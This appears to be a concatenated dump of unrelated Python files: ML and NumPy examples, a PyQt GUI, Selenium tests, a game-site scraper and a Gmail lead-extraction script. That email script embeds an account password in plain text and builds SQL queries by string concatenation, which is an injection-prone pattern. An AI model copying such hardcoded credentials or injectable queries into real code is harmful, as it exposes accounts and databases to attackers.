50 50 50 50 50 50 50 50 50 50 50 49 48 47 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 35 34 33 32 31 30 29 28 27 26 25 24 22 20 18 16 14 12 10 8 6 4 2 1 0 0 0 0
50 50 50 50 50 50 50 50 50 50 50 50 49 48 47 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 35 34 33 32 31 30 29 28 27 26 25 24 22 20 18 16 14 12 10 8 6 4 2 1 0 0 0
50 50 50 50 50 50 50 50 50 50 50 50 50 49 48 47 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 35 34 33 32 31 30 29 28 27 26 25 24 22 20 18 16 14 12 10 8 6 4 2 1 0 0
50 50 50 50 50 50 50 50 50 50 50 50 50 50 49 48 47 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 35 34 33 32 31 30 29 28 27 26 25 24 22 20 18 16 14 12 10 8 6 4 2 1 0"""
score_table = []
for line in string.split("\n"):
age_group_score = line.split("\t")
age_group_score.reverse()
age_group_score = [int(x) for x in age_group_score]
score_table.append(age_group_score)
pprint(score_table)
# print(score_table == pushup_score_table)
|
18,264 | a172c3ee667e3681f42189c6e758e226cc265986 | import numpy as np
# Python comes with its own math module that works on Python native objects. Unfortunately,
# if you try to use math.cos on a NumPy array, it will not work, as the math
# functions are meant to operate on elements and not on lists or arrays. Hence, NumPy
# comes with its own set of math tools
# NumPy arrays do not behave like matrices in linear algebra by default. Instead, the
# operations are mapped from each element in one array onto the next. This is quite
# a useful feature, as loop operations can be done away with for efficiency. But what
# about when transposing or a dot multiplication are needed? Without invoking other
# classes, you can use the built-in numpy.dot and numpy.transpose to do such operations
#
# 3x + 6y − 5z = 12
# x − 3y + 2z = −2
# 5x − y + 4z = 10
# Now let us represent the matrix system as AX = B, and solve for the variables. This
# means we should try to obtain X = A−1B. Here is howwe would do this withNumPy.
# import numpy as np
# Defining the matrices
A = np.matrix([[3, 6, -5],
[1, -3, 2],
[5, -1, 4]])
B = np.matrix([[12],
[-2],
[10]])
# Solving for the variables, where we invert A
X = A ** (-1) * B
print(X)
# matrix([[ 1.75],
# [ 1.75],
# [ 0.75]])
# The solutions for the variables are x = 1.75, y = 1.75, and z = 0.75. You can easily check
# this by executing AX, which should produce the same elements defined in B
# Now that we understand howNumPy matrices work, we can show how to do the same
# operations without specifically using the numpy.matrix subclass. (The numpy.matrix
# subclass is contained within the numpy.array class, which means that we can do the
# same example as that above without directly invoking the numpy.matrix class.) First, the NumPy array is the standard for using nearly anything in
# the scientific Python environment, so bugs pertaining to the linear algebra operations
# will be less frequent than with numpy.matrix operations. Sticking with
# one data structure will lead to fewer headaches and less worry than switching between
# matrices and arrays. It is advisable, then, to use numpy.array whenever possible.
a = np.array([[3, 6, -5],
[1, -3, 2],
[5, -1, 4]])
# Defining the array
b = np.array([12, -2, 10])
# Solving for the variables, where we invert A
x = np.linalg.inv(a).dot(b)
print(x)
# array([ 1.75, 1.75, 0.75]) |
18,265 | dcc94190d672280e150330f0b3102a3facdd2a44 | """
text to video
"""
import subprocess
import argparse
import sys
import logging
_log = logging.getLogger(__name__)
def build_ffmpeg_cmd(txt, audio_path, output_path):
filter_graph = ';'.join([
'mandelbrot=s=720x720[mandel]',
'[0:a]showwaves=s=720x720:mode=line[wav]',
'[wav]format=rgba,colorchannelmixer=aa=0.6[wavalpha]',
'[mandel][wavalpha]overlay[vid]',
'[vid]drawtext=text="{}":fontfile=/usr/share/fonts/naver-nanum/NanumGothic.ttf:fontcolor=white:fontsize=30:x=(w-text_w)/5:y=(h-text_h)/5[out]'.format(txt.replace('"', '\\"')),
])
return [
'ffmpeg', '-i', audio_path,
'-filter_complex', filter_graph,
'-map', '[out]',
'-map', '0:a',
'-c:v', 'libx264',
'-c:a aac',
'-pix_fmt', 'yuv420p',
'-shortest',
output_path,
]
def main(txt, audio_path, output_path):
cmd = build_ffmpeg_cmd(txt, audio_path, output_path)
_log.info('Executing command: %s', cmd)
subprocess.run(cmd)
if __name__ == '__main__':
logging.basicConfig(level='DEBUG', format='%(asctime)s %(levelname)s %(message)s')
parser = argparse.ArgumentParser()
parser.add_argument('audio')
parser.add_argument('output')
parser.add_argument('txt', default=sys.stdin, type=argparse.FileType('r'), nargs='?')
args = parser.parse_args()
main(args.txt.read(), args.audio, args.output) |
18,266 | 0c865a2dff7a7b9868d90e8ce15590d22e4ce35d | from django.template.loader import get_template
from django.urls import reverse
from commerce import settings as commerce_settings
from commerce.managers import PaymentManager as CommercePaymentManager
class PaymentManager(CommercePaymentManager):
def get_payment_url(self):
return reverse('commerce:orders')
def render_payment_button(self):
template = get_template('commerce/payment_button_wire_transfer.html')
return template.render({'order': self.order})
def render_payment_information(self):
template = get_template('commerce/payment_information_wire_transfer.html')
return template.render({'order': self.order, 'commerce_settings': commerce_settings})
|
18,267 | 67dc54981574070a2123db6e1034249fd9e80c99 | '''
Card counting strategy is based on Hi-Lo
'''
def count(deck):
count = 0
for card in deck:
if card[0].isalpha():
count -= 1
else:
num = int(card[0])
if num == 1:
count -= 1
elif num != 1 and num < 7:
count += 1
if count > 0:
return '+' + str(count)
else:
return count
|
18,268 | e122ea9fbac710355c5f975849e759f22f7c7a71 | def VapO2(P,T,x_N2):
x = (P-5.44671220e+02)/2.47804900e-01
y = (T--1.77974655e+02)/7.88210000e-03
z = (x_N2-9.93714215e-01)/1.07156015e-03
output = \
1*-5.70904190e+01+\
z*5.71250785e+01+\
y*5.79503513e+01+\
x*-4.36281367e+01
y_O2 = output*2.92472581e-05+1.03111540e-04
return y_O2 |
18,269 | fcd1e255342b28542e045d03c3cac0d8ab8fcb40 | NUM = int (input("introduce un numero"))
if NUM > 0:
print (f"{NUM} es positivo")
elif NUM == 0:
print (f"{NUM} es nulo")
else:
print (f"{NUM} es negativo")
print ("fin del programa")
|
18,270 | d54c098f851ed36e83cf8e7d4a4489db2cc004ce | # -*- coding: utf-8 -*-
"""
Created on Mon Mar 12 17:41:29 2018
@author: Administrator
"""
import sys
from PyQt4 import QtCore,QtGui,uic
import views
import Global
import chardet
import workmanage
qtCreatorFile = "UI.ui"
Ui_MainWindow, QtBaseClass = uic.loadUiType(qtCreatorFile)
#我的主界面类，继承于QMainWindow
class MyApp(QtGui.QMainWindow, Ui_MainWindow):
def __init__(self):
#分别对QMainWindow与我的MainWindow进行初始化
QtGui.QMainWindow.__init__(self)
Ui_MainWindow.__init__(self)
self.setupUi(self)
#分别设置按钮点击后对应的槽函数
self.addpushButton.clicked.connect(self.add)
self.clearButton.clicked.connect(self.clear)
self.startButton.clicked.connect(self.start)
self.stopButton.clicked.connect(self.stop)
self.help_()
self.timer=QtCore.QTimer()
self.timer.timeout.connect(self.Update)
self.timer.start(200)
#实现将所需的Url加入
def add(self):
url=self.URLEdit.text()
self.textEdit.append("已添加：".decode('utf-8')+url)
self.URLEdit.clear()
views.filllist(url)
#清除已输入的信息
def clear(self):
self.tidEdit.clear()
self.portsEdit.clear()
self.exclude_portsEdit.clear()
self.numEdit.clear()
self.URLEdit.clear()
self.textEdit.clear()
self.timesEdit.text()
#开始进行
def start(self):
Global.settidValue(self.tidEdit.text())
if not Global.gettidValue():
Global.instatesinf("您未输入订单号！".decode('utf-8'))
return
Global.setoperatorValue(self.operatorcomboBox.currentText())
Global.setportsValue(self.portsEdit.text())
Global.setexclude_portsValue(self.exclude_portsEdit.text())
Global.setprotocolValue(self.protocolcomboBox.currentText())
Global.setcategoryValue(self.categorycomboBox.currentText())
Global.setsortbyValue(self.sortbycomboBox.currentText())
Global.setnumValue(self.numEdit.text())
Global.settimesValue(self.timesEdit.text())
Global.setspeedValue(self.speedcomboBox.currentText())
Global.setapiValue()
Global.thread_mark=1
workmanage.start()
#显示help文档信息
def help_(self):
f=open("help.txt","r")
text=f.read()
f.close()
type_=chardet.detect(text)
self.textEdit.append(text.decode(type_["encoding"]))
#暂停所有线程
def stop(self):
Global.thread_mark=0
#实时显示当前状态信息
def Update(self):
global message_queue
text=Global.outstatesinf()
if text:
self.textEdit.append(text)
if __name__ == "__main__":
app = QtGui.QApplication(sys.argv)
window = MyApp()
window.show()
sys.exit(app.exec_())
|
18,271 | b708af3dd30dc723604ba1bec6e068f3ceeae1cf | from keras.datasets import mnist
from keras import models
from keras import layers
from keras.utils import to_categorical
# loading train data set
(train_images, train_labels), (test_images, test_labels) = mnist.load_data()
# Preparing the image data
# * what is the function of reshape?
# print(train_images.shape)
train_images = train_images.reshape((train_images.shape[0], -1))
train_images = train_images.astype('float') / 255
# print(train_images.shape)
test_images = test_images.reshape((test_images.shape[0], -1))
test_images - test_images.astype('float') / 255
# Preparing the labels
train_labels = to_categorical(train_labels)
test_labels = to_categorical(test_labels)
# Defining the model
network = models.Sequential()
# Adding layers
network.add(layers.Dense(512, activation='relu', input_shape=(28 * 28, )))
network.add(layers.Dense(10, activation='softmax'))
# summary
network.summary()
# Compiling
network.compile(optimizer='rmsprop',
loss='categorical_crossentropy',
metrics=['accuracy'])
# Training
network.fit(train_images,
train_labels,
epochs=5,
batch_size=256
)
# Evaluating
test_loss, test_acc = network.evaluate(test_images, test_labels)
print('test_acc', test_acc)
|
18,272 | 26a6cf92fdf980aa126621a9f678fc4fc1a3d048 | def calculate(inputNum):
X = int(inputNum)
lst = [X]
while X != 1:
if X % 2 == 0:
X = int(X / 2)
lst.append(X)
else:
X = int((3 * X) + 1)
lst.append(X)
return lst
while True:
inputString = input()
if inputString == "0 0":
break
else:
a, b = str(inputString).split(" ")
aLst = calculate(int(a))
bLst = calculate(int(b))
intersectionBetweenBoth = set(aLst) & set(bLst)
c = 0
d = 0
result = 0
for (i, numInA) in enumerate(aLst):
if numInA in intersectionBetweenBoth:
c = str(i)
result = str(numInA)
break
for (i, numInB) in enumerate(bLst):
if numInB in intersectionBetweenBoth:
d = str(i)
break
print (a + " needs " + c + " steps, " + b + " needs " + d + " steps, they meet at " + result)
|
18,273 | 6d8aaefab327f915144d6813d70e549a72678a84 | from Pages.Search.SearchPage import SearchPage
import unittest
import pytest
import time
from Pages.Add_Remove_Songs_Playlist.AddRemoveSongsPlaylistsPage import AddRemoveSongsPlaylistsPage
@pytest.mark.usefixtures("oneTime_Login_SetUp", "login_set_up")
class TestAddRemove(unittest.TestCase):
@pytest.fixture(autouse=True)
def classSetup(self, oneTime_Login_SetUp):
self.Search = SearchPage(self.driver)
self.Add = AddRemoveSongsPlaylistsPage(self.driver)
def test_a_search_add_song(self):
time.sleep(1)
self.Search.click_search_window()
self.Search.send_in_search_tab("sting ya king")
time.sleep(2)
self.Search.click_searched_song()
time.sleep(1)
self.Add.click_options()
self.Add.open_my_playlist()
def test_b_add_from_playlist(self):
time.sleep(1)
self.Add.open_my_playlist()
time.sleep(1)
self.Add.click_refresh()
time.sleep(1)
self.Add.click_add_button()
time.sleep(1)
def test_c_remove_song(self):
time.sleep(1)
self.Add.element_click("Test", "link")
self.Add.open_my_playlist()
self.Add.remove_song()
def test_d_add_from_upper_options(self):
time.sleep(1)
self.Search.click_search_window()
self.Search.send_in_search_tab("sting ya king")
time.sleep(2)
self.Search.click_searched_song()
time.sleep(2)
self.Add.add_playlist_from_upper_options()
time.sleep(1)
def test_e_home_song(self):
time.sleep(1)
self.Add.click_home()
self.Add.click_target_playlist()
self.Add.get_song_home_playlist()
time.sleep(1)
|
18,274 | a95b5f787003b9970ddc0fbf2138d4234c2a93bf | import torch
import SimpleITK as sitk
from pathlib import Path
from data.dataset import CSIDataset
from torch.utils.data import Dataset, DataLoader
crop_img = '../crop_isotropic_dataset'
batch_size = 1
train_dataset = CSIDataset(crop_img)
train_dataloader = DataLoader(train_dataset, batch_size=1, shuffle=True)
img_patch, ins_patch, gt_patch, weight, c_label = next(iter(train_dataloader))
img_patch = torch.squeeze(img_patch)
ins_patch = torch.squeeze(ins_patch)
gt_patch = torch.squeeze(gt_patch)
weight = torch.squeeze(weight)
assert img_patch.shape == (128, 128, 128)
assert ins_patch.shape == (128, 128, 128)
assert gt_patch.shape == (128, 128, 128)
assert weight.shape == (128, 128, 128)
# store patches for visualization
Path('./samples/').mkdir(parents=True, exist_ok=True)
sitk.WriteImage(sitk.GetImageFromArray(img_patch.numpy()), './samples/img.nrrd', True)
sitk.WriteImage(sitk.GetImageFromArray(gt_patch.numpy()), './samples/gt.nrrd', True)
sitk.WriteImage(sitk.GetImageFromArray(ins_patch.numpy()), './samples/ins.nrrd', True)
sitk.WriteImage(sitk.GetImageFromArray(weight.numpy()), './samples/wei.nrrd', True) |
18,275 | feb5ce22ddf24f89188b7c1dd412f4a02d9c3851 | import typing as th # Literals are available for python>=3.8
from sklearn.base import BaseEstimator, ClassifierMixin
import numpy as np
class NaiveBayes(BaseEstimator, ClassifierMixin):
def __init__(self, kind):
self.kind = kind
def fit(self, X, Y):
self.classes_num = max(Y)
self.class_priors = self.cal_class_priors(Y)
if self.kind == "gaussian":
self.means, self.stds = self.cal_means_variances(X, Y)
else:
self.thresholds, self.conditional_probs = self.cal_thresholds_conditional_probs(X, Y)
def cal_thresholds_conditional_probs(self, X, Y):
X = np.array([np.array(x) for x in X])
Y = np.array(Y)
conditional_probs = np.zeros([len(X[0]), self.classes_num + 1])
total_class = np.zeros([len(X[0]), self.classes_num + 1])
positive_class = np.zeros([len(X[0]), self.classes_num + 1])
# thresholds = sum(X) / len(X)
thresholds = self.cal_thresholds(X, Y)
for i in range(len(X)):
for j in range(len(X[0])):
total_class[j, Y[i]] += 1
if (X[i][j] > thresholds[j]):
positive_class[j][Y[i]] += 1
return thresholds, positive_class / total_class
def cal_thresholds(self, X, Y):
thresholds = np.zeros(len(X[0]))
for i in range(len(X[0])):
x = X[:,i]
thresholds[i] = self.best_threshold(x, Y)
return thresholds
def best_threshold(self, X, Y):
sorted_index = sorted([i for i in range(len(X))], key=lambda i: X[i])
n = len(Y)
x = X[sorted_index]
y = Y[sorted_index]
candidates = []
for i in range(1, len(Y)):
if Y[i] != Y[i-1]:
candidates.append(i)
candidates = np.random.choice(candidates, 10 , replace=False)
best_ant = 100000
best_ant_index = 0
for candidate in candidates:
temp_ant = (self.antropy(y[:candidate]) / candidate + self.antropy(y[candidate:]) / (n-candidate)) * n
if temp_ant < best_ant:
best_ant = temp_ant
best_ant_index = candidate
return x[best_ant_index]
def antropy(self, Y):
n = len(Y)
ones = sum(Y == 1)
if ones == 0:
return 0
return -(ones / n) * np.log2(ones / n)
def cal_means_variances(self, X, Y): # calculates means of gaussian p(t|c)
means = np.zeros([len(X[0]), self.classes_num + 1])
stds = np.zeros([len(X[0]), self.classes_num + 1])
for i in range(len(X[0])):
for c in range(len(means[0])):
features = []
for j in range(len(X)):
if Y[j] == c:
features.append(X[j][i])
means[i][c] = np.mean(features)
stds[i][c] = np.std(features)
return means, stds
def cal_class_priors(self, y):
classes_num = [0] * (self.classes_num + 1)
for i in y:
classes_num[i] += 1
n = len(y)
return [classes_num[i] / n for i in range(len(classes_num))]
def predict(self, X):
if self.kind == "gaussian":
return self.pred_gaussian(X)
else:
return self.pred_bernouli(X)
def pred_gaussian(self, X):
pred = []
constant = 1 / np.sqrt(2 * np.pi)
for x in X:
class_probs = []
for c in range(self.classes_num + 1):
term_probs = [constant / self.stds[i][c] * np.exp(-(x[i] - self.means[i][c])**2 / 2 / self.stds[i][c]**2) for i in range(len(x))]
prob = np.log(self.class_priors[c])
for p in term_probs:
if p != 0:
prob += np.log(p)
else:
prob -= 1000
class_probs.append(prob)
pred.append(np.argmax(class_probs))
return pred
def pred_bernouli(self, X):
pred = []
for x in X:
x_bernoulli = [0] * len(x)
for i in range(len(x)):
if x[i] >= self.thresholds[i]:
x_bernoulli[i] = 1
class_probs = []
for c in range(self.classes_num + 1):
term_probs = [self.conditional_probs[i][c] if x_bernoulli[i] == 1 else 1 - self.conditional_probs[i][c] for i in range(len(x_bernoulli)) ]
prob = np.log(self.class_priors[c])
for p in term_probs:
if p != 0:
prob += np.log(p)
else:
prob -= 1000
class_probs.append(prob)
pred.append(np.argmax(class_probs))
return pred
|
18,276 | 07febc4d73cbc1aee69113f906bc135c140387c7 | # transfer message from front to C
import socket
class Client(object):
# 从前端传回的数据中应包含 tcp server 的 ip 和 port
def __init__(self, host, port):
self.host = host
self.port = port
def send_msg_to_c(self, data):
"""
从前端发的数据直接通过这个方法转发到 c 程序，
发送完成即主动关闭连接.设置连接超时为 6 秒
:param data: 要发送的数据
:return:
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.settimeout(6)
client_socket.connect((self.host, self.port))
client_socket.sendall(data)
client_socket.close()
client_socket.settimeout(None)
|
18,277 | 8381bd255ad7eaaf0a5546fbc813fa1746a2ebec | from bs4 import BeautifulSoup
import os
import datetime
import getpass, os, imaplib, email
import re
import mysql.connector
def filterString(str):
str= str.strip()
return re.sub("[\n\r' ]*","",str)
# method to get the content from a given string
def getContentFromString(mailbody):
# msg_key = mailbody.values()[mailbody.keys().index("Message-ID")]
# print(msg_key)
name=''
email=''
phone=''
message=''
url=''
emailDate=''
emailTo=''
emailFrom=''
tempDate = mailbody.values()[mailbody.keys().index("Date")]
emailDate = datetime.datetime.strptime(tempDate, "%a, %d %b %Y %H:%M:%S %z").strftime('%Y-%m-%d %H:%M:%S')
emailTo = mailbody.values()[mailbody.keys().index("To")]
# print(emailTo)
emailFrom = mailbody.values()[mailbody.keys().index("From")]
# print(emailFrom)
splitstring = mailbody.keys()[-1]+": "+mailbody.values()[-1]
content_str= str(mailbody).split(splitstring)[1]
content_html = BeautifulSoup(content_str,"html.parser")
content = (content_html.findAll("td"))
# print(content_html)
for i in range(0,len(content)):
content_value = content[i].text
if(content_value == "Name:"):
name = content[i+1].text
elif(content_value == "Email:"):
email = content[i+1].text
elif(content_value == "Phone:"):
phone = content[i+1].text
elif(content_value == "Message:"):
message = content[i+1].text
elif(content_value == "URL:"):
url = content[i+1].text;
# print(name)
# print(email)
# print(phone)
# print(message)
# print(url)
sql = (
"INSERT INTO leads1 (name, email, phone, message, url,emaildate,emailto,emailfrom) VALUES ('"
+ filterString(name)
+ "','"
+ filterString(email)
+ "','"
+ filterString(phone)
+ "','"
+ filterString(message)
+ "','"
+ filterString(url)
+ "','"
+ filterString(str(emailDate))
+ "','"
+ filterString(emailTo)
+ "','"
+ filterString(emailFrom)
+ "')"
)
print(sql)
try:
if(url!=''):
sqlcursor.execute(sql)
mydb.commit()
else:
print(content)
with open("emptyurls2.csv","a+")as f:
f.write(str(content_str)+",\n")
f.close()
# exit()
except Exception as e:
print(e)
exit()
# getting messages from the mail
def getMessages():
typ, messages = conn.search(None, '(FROM "MHB" SUBJECT "%s")' % subject)
for i in messages[0].split():
type1, message = conn.fetch(i, "RFC822")
m = email.message_from_bytes(message[0][1])
try:
status = getContentFromString(m)
# input()
except Exception as e:
print("in excepion")
print(e)
# ===================================================
# creating the mysql db connetion to record contents of mails
mydb = mysql.connector.connect(
host="localhost", user="root", passwd="", database="manipalgmail"
)
sqlcursor = mydb.cursor(dictionary=True)
# ======================================================
# credentials of server
servername = "imap.gmail.com"
usernm = "mounika@multipliersolutions.in"
passwd = "9030146678"
subject = "Manipal"
# establishing connection using imap
conn = imaplib.IMAP4_SSL(servername)
conn.login(usernm, passwd)
conn.select("Inbox")
getMessages()
|
18,278 | bcfa0c0efd5b992464496524f31d19c38c25281e | from flask_restful import Resource
from flask import session, jsonify, request
import leoObject
class setNetworks(Resource):
def __init__(self):
self.gLeonardo = leoObject.getLeoObject()
def post(self):
# print "setNetworks LEO Mem=", self.gLeonardo
# print "ID = ", request.json['id'], "REQ->", request.json
jsonDict = request.json
dictNewSettings = jsonDict['params'][0]
# print "dictNewSettings->", dictNewSettings
return jsonify( self.gLeonardo.directory.getNetworkManager().setNetworks(dictNewSettings) )
|
18,279 | 6ef756b3f14ee3dfcdb2175e1e84de607692a1bc | #!/usr/bin/env python3
"""Project Euler - Problem 33 Module"""
from fractions import Fraction
def problem33(nr_digits):
"""Problem 33 - Digit canceling fractions"""
a_sum = 1
b_sum = 1
for a in range(10**(nr_digits - 1), (10**nr_digits) - 1):
for b in range(a + 1, 10**nr_digits):
# print(a/b);
a_str = str(a)
b_str = str(b)
for sa in range(0, nr_digits):
if a_str[sa] == '0':
continue
# check in b
for sb in range(0, nr_digits):
if (a_str[sa] == b_str[sb]):
a_short = a_str[:sa] + a_str[sa + 1:]
b_short = b_str[:sb] + b_str[sb + 1:]
a_short_int = int(a_short)
b_short_int = int(b_short)
if (b_short_int == 0):
continue
if (a / b == a_short_int / b_short_int):
a_sum *= a_short_int
b_sum *= b_short_int
#print(a_str, "/", b_str, "->",
# a_short, "/", b_short)
return Fraction(a_sum, b_sum).denominator
def run():
"""Default Run Method"""
return problem33(2)
if __name__ == '__main__':
print("Result: ", run())
|
18,280 | eccc74d1e8de28e82ec900c8d6667356cf357434 | #!/usr/bin/python
# -*- coding: utf8 -*-
import urllib, urllib2
import cookielib
from bs4 import BeautifulSoup
from lxml import etree
import syslog
from pymongo import MongoClient
import time
def getCycleNumber():
opener = urllib2.build_opener()
f = opener.open("http://v2.empirium.net")
html = etree.HTML(f.read())
result = etree.tostring(html, pretty_print=True, method="html")
coord = result.find("[ Tour n") + 14
if coord < 14:
return -1
return int(result[coord:coord+3])
def getPlayersList():
opener = urllib2.build_opener()
f = opener.open("http://v2.empirium.net")
html = etree.HTML(f.read())
result = etree.tostring(html, pretty_print=True, method="html")
soup = BeautifulSoup(result)
for selector in soup.findAll("select", attrs={'name':'joueur'}):
out = []
for option in selector.findAll("option"):
player = {}
player['id'] = option['value']
player['name'] = option.contents[0].encode("utf8").strip("\t").strip("\n")
out.append(player)
return out
def getShipLinks(cookies):
opener2 = urllib2.build_opener()
opener2.addheaders.append(('Cookie', "; ".join('%s=%s' % (cookie.name,cookie.value) for cookie in cookies)))
f = opener2.open("http://v2.empirium.net/pan.php3?th=com")
data = f.read()
html = etree.HTML(data)
result = etree.tostring(html, pretty_print=True, method="html")
soup = BeautifulSoup(result)
# Recuperation des liens vers les radars de tous les vaisseaux
liste_liens_radars = []
for link in soup.findAll('a'):
link_value = link.get('href')
if link_value[1:15]=="/flotte/gauche":
liste_liens_radars.append("http://v2.empirium.net" + link_value[1:])
return liste_liens_radars
def getPlanetLinks(cookies):
opener2 = urllib2.build_opener()
opener2.addheaders.append(('Cookie', "; ".join('%s=%s' % (cookie.name,cookie.value) for cookie in cookies)))
f = opener2.open("http://v2.empirium.net/pan.php3?th=pl")
data = f.read()
html = etree.HTML(data)
result = etree.tostring(html, pretty_print=True, method="html")
soup = BeautifulSoup(result)
# Recuperation des liens vers les radars de tous les vaisseaux
liste_liens_radars = []
for link in soup.findAll('a'):
link_value = link.get('href')
if link_value[1:16]=="/planete/gauche" and link_value.count("Impots") == 0:
liste_liens_radars.append("http://v2.empirium.net" + link_value[1:])
return liste_liens_radars
def getGroupDatas(cookies, link, playerName):
# Recuperation du radar
op3 = urllib2.build_opener()
op3.addheaders.append(('Cookie', "; ".join('%s=%s' % (cookie.name,cookie.value) for cookie in cookies)))
try:
f3 = op3.open("http://v2.empirium.net" + link[1:])
except Exception, e:
syslog.syslog("Error during getGroupDatas - player:%s - link:%s - error:%s" % (playerName, link, e))
d3 = f3.read()
h3 = etree.HTML(d3)
r3 = etree.tostring(h3, pretty_print=True, method="html")
s3 = BeautifulSoup(r3)
out = []
lordName = "Propriétaire inconnu"
iCoord = link.find("&") + 1
coordX = link[iCoord:].split("&")[0].strip("X=")
coordY = link[iCoord:].split("&")[1].strip("Y=")
for element in s3.findAll("li"):
el = {}
idName = element.text.split(" - ")
image = str(element.find("img")['src'])[2:]
if str(idName[0][1:9]) == "Seigneur":
iNameEnd = idName[0].find(" : ")
lordName = idName[0][10:iNameEnd]
else:
ident = idName[0][1:]
if len(idName) >= 2:
name = idName[1]
else:
name = ""
el["type"] = "Vaisseau"
el["id"] = ident
el["name"] = name
el["image"] = image
el["x"] = coordX
el["y"] = coordY
out.append(el)
for e in out:
e["owner"] = lordName
return out
def getDatas(cookies, link, playerName):
# Recuperation du radar
op3 = urllib2.build_opener()
op3.addheaders.append(('Cookie', "; ".join('%s=%s' % (cookie.name,cookie.value) for cookie in cookies)))
f3 = op3.open(link)
d3 = f3.read()
h3 = etree.HTML(d3)
r3 = etree.tostring(h3, pretty_print=True, method="html")
s3 = BeautifulSoup(r3)
out = []
group_links = []
# Pour chaque element visible sur le radar
for element in s3.findAll('div', attrs={"class":"carte_bulle"}):
try:
el = {}
# Get element type (Fregate, Navette,
# Planete, Groupe, ...)
type_complet = element.find("h1").text
if type_complet[0] != '\n':
type = type_complet[0]
else:
type = type_complet[1]
# Navette, Fregate and Croiseur processing
if (type == 'N' or type == 'F' or type == 'C' or type == 'L'):
ident = element.find("h1").contents[0].encode("utf8").split(" ")[1]
name = element.find("h1").contents[2].encode("utf8")
indexCoordStart = str(element).find("<img")
indexCoordStart += str(element)[indexCoordStart:].find(">") + 1
indexCoordEnd = indexCoordStart + str(element)[indexCoordStart:].find("<br/>") - 10
coord = str(element)[indexCoordStart:indexCoordEnd].strip(" ").split("/")
el["type"] = "Vaisseau"
el["id"] = ident
el["name"] = name
el["image"] = element.find("img")['src'][2:]
el["x"] = coord[0].strip(" ")
el["y"] = coord[1].strip(" ")
el["owner"] = element.find("a").contents[0].encode("utf8")
if (el["owner"] == "Gérer" or el["owner"] == "Déplacer"):
el["owner"] = playerName
out.append(el)
# Vortex processing
elif type == 'V':
indexID = str(element).find("Vortex ") + 7
indexIDend = indexID + str(element)[indexID:].find("<")
ident = str(element)[indexID:indexIDend]
indexDest = str(element).find("Vers ") + 5
indexDestend = indexDest + str(element)[indexDest:].find("<")
dest = str(element)[indexDest:indexDestend]
indexCoord = str(element).find("Coord. ") + 7
indexCoordend = indexCoord + str(element)[indexCoord:].find("<br")
coord = str(element)[indexCoord:indexCoordend].strip(" ")
el["type"] = "Vortex"
el["id"] = ident
el["destination"] = dest
el["x"] = coord.split("/")[0]
el["y"] = coord.split("/")[1]
out.append(el)
# Planete processing
elif type == 'P':
index = str(element.find("h1")).find("Planète")
idName = str(element.find("h1"))[index:].strip("Planète ")[:-5].strip("\n").split("<br/>")
owner = element.find("a").contents[0].encode('utf8')
if (owner == "Gérer"):
owner = playerName
indexCoordStart = str(element).find("</h1>") + 5
indexCoordEnd = indexCoordStart + str(element)[indexCoordStart:].find("<br/>") - 10
coord = str(element)[indexCoordStart:indexCoordEnd]
el["type"] = "Planete"
el["id"] = idName[0]
el["name"] = idName[1]
el["image"] = element.find("h1").find("img")['src'][2:]
el["x"] = coord.split("/")[0]
el["y"] = coord.split("/")[1]
el["owner"] = owner
out.append(el)
# In case of many many elements (> 10)
elif type == 'E':
iCoordEnd = element.find("</h1>")
group_links.append(element.find("a")['href'])
else:
indexCoord = type_complet.find("en ") + 3
coord = type_complet[indexCoord:].strip(" ")
coordX = coord.split("/")[0]
coordY = coord.split("/")[1]
for group in element.findAll("div", attrs={"class":"sousgroupe"}):
for elmt in str(group).split("<br/><br/>"):
el = {}
elmt = elmt.replace("\n", " ")
if elmt[1]=='d':
elmt = elmt[24:]
if elmt[2]!='/':
if len(elmt) < 20:
continue
if elmt[19] == 'v':
elmt = elmt[1:]
if elmt[18:20] == 'vsx':
index1 = elmt.find(">")
index2 = index1 + elmt[index1:].find(" - ")
id = elmt[index1+1:index2]
index3 = index2 + elmt[index2:].find(" de <")
if index3 < index2:
index3 = index2 + elmt[index2:].find("<br/><a")
nom = elmt[index2+3:index3]
index4 = elmt.find("/")
index5 = index4 + elmt[index4:].find("\"")
type = elmt[index4:index5]
index6 = elmt.find("\"gauche\">") + 9
index7 = index6 + elmt[index6:].find("</a>")
owner = elmt[index6:index7]
el["type"] = "Vaisseau"
el["id"] = id
el["name"] = nom
el["image"] = type
el["x"] = coordX
el["y"] = coordY
el["owner"] = owner
if (el["owner"] == "Gérer" or el["owner"] == "Déplacer"):
el["owner"] = playerName
out.append(el)
elif elmt[18:20] == "vor":
index1 = elmt.find(">")
index2 = index1 + elmt[index1:].find(" - ")
id = elmt[index1+1:index2]
index3 = index2 + elmt[index2:].find(" de <")
if index3 < index2:
index3 = index2 + elmt[index2:].find("<br/><a")
nom = elmt[index2+3:index3]
index4 = elmt.find("/")
index5 = index4 + elmt[index4:].find("\"")
type = elmt[index4:index5]
index6 = elmt.find("\"gauche\">") + 9
index7 = index6 + elmt[index6:].find("</a>")
owner = elmt[index6:index7]
el["type"] = "Vortex"
el["id"] = id
el["destination"] = ""
el["x"] = coordX
el["y"] = coordY
out.append(el)
elif elmt[19] == 'p':
index1 = elmt.find(">")
index2 = index1 + elmt[index1:].find(" ")
id = elmt[index1+4:index2]
index3 = index2 + elmt[index2:].find("<")
nom = elmt[index2+3:index3]
index4 = elmt.find("/")
index5 = index4 + elmt[index4:].find("\"")
type = elmt[index4:index5]
index6 = index3 + elmt[index3:].find("> de ") + 5
index7 = index6 + elmt[index6:].find("<")
owner = elmt[index6:index7]
el["type"] = "Planete"
el["id"] = id
el["name"] = nom
el["image"] = type
el["x"] = coordX
el["y"] = coordY
el["owner"] = owner
out.append(el)
except Exception, e:
syslog.syslog("Error during ship radar parsing - player:%s - link:%s - element:%s - error:%s" % (playerName, link, element, e))
continue
return out, group_links
def getDatasPlanets(cookies, link, playerName):
# Recuperation du radar
op3 = urllib2.build_opener()
op3.addheaders.append(('Cookie', "; ".join('%s=%s' % (cookie.name,cookie.value) for cookie in cookies)))
f3 = op3.open(link)
d3 = f3.read()
h3 = etree.HTML(d3)
r3 = etree.tostring(h3, pretty_print=True, method="html")
s3 = BeautifulSoup(r3)
out = []
# Pour chaque element visible sur le radar
for element in s3.findAll('div', attrs={"class":"carte_bulle"}):
el = {}
